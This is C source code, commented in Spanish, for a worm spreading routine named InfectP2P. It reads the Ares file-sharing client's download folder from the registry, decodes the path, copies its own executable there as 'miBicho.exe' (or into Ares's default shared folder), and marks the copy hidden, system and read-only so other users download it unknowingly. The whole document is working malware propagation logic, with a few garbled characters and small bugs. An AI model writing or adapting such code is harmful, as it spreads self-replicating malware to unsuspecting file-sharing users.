void InfectP2P()
{
   _CopyMemory miCopyMemory=NULL;
   miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");

   //Obtenemos nuestra ruta
   LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
   GetModuleFileName(0,AppName,MAX_PATH);

   HKEY hReg;
   DWORD regLenght=MAX_PATH*2;
   PPERF_DATA_BLOCK regValue =(PPERF_DATA_BLOCK)GlobalAlloc(GPTR,regLenght);

   //Abrimos la clave del registro de Ares
   if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Ares",0,KEY_READ,&hReg)==ERROR_SUCCESS)
   {
      //Obtenemos el valor de Dowload.Folder
      if(RegQueryValueEx(hReg,"Download.Folder",0,0,(LPBYTE)regValue,&regLenght)!=ERROR_FILE_NOT_FOUND)
      {
         LPSTR Crypted=(LPSTR)regValue;
         LPSTR Decrypted=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
         LPSTR Temp=(LPSTR)GlobalAlloc(GPTR,3);

         //Desencriptamos la clave del registro, vamos pasando los caracteres de hexa a char
         //Vamos caracter por caracter
         for(DWORD i=0,x=0;i<regLenght;i++,x++)
         {
            miCopyMemory(&Temp[0],&Crypted[i*2],2);
            Temp[2]=0;

            //Si se trata del caracter 'ó' lo hacemos así sinó dá problemas
            if (Temp[0]=='C' && Temp[1]=='3')
            {
               Decrypted[i]='ó';
               i++;
            }

            //Si no es 'ó' pasamos la cadena hex a int y lo añadimos a la cadena desencriptada
            else
            {
               DWORD numero=strtol(Temp,0,16);
               Decrypted[x]=numero;
            }
         }

         //Añadimos a la ruta el nombre de nuestro bicho
         lstrcat(Decrypted,"\\miBicho.exe");

         //Nos copiamos
         CopyFileA(AppName,Decrypted,TRUE);

         //Ponemos atributos de oculto, de sistema y de sólo lectura al worm
         SetFileAttributesA(Decrypted,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FI ?LE_ATTRIBUTE_READONLY);

         RegCloseKey(hReg);

         GlobalFree(Crypted);
         GlobalFree(Decrypted);
         GlobalFree(Temp);
      }
      else
      {
         //Obtenemos el valor de %Local AppData%
         RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders",0,KEY_READ,&hReg);
         RegQueryValueEx(hReg,"Local AppData",0,0,(LPBYTE)regValue,&regLenght);
         RegCloseKey(hReg);

         LPSTR DefaultPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);

         lstrcat(DefaultPath,(LPSTR)regValue);
         lstrcat(DefaultPath,"\\Ares\\My Shared Folder\\miBicho.exe");

         //Nos copiamos al path
         CopyFileA(AppName,DefaultPath,TRUE);

         //Ponemos atributos de oculto, de sistema y de sólo lectura al worm
         SetFileAttributesA(DefaultPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+ ?FILE_ATTRIBUTE_READONLY);

         GlobalFree(DefaultPath);
      }   
   }

   GlobalFree(AppName);
   GlobalFree(regValue);

   //En caso de no estar Ares instalado no hacemos nada
}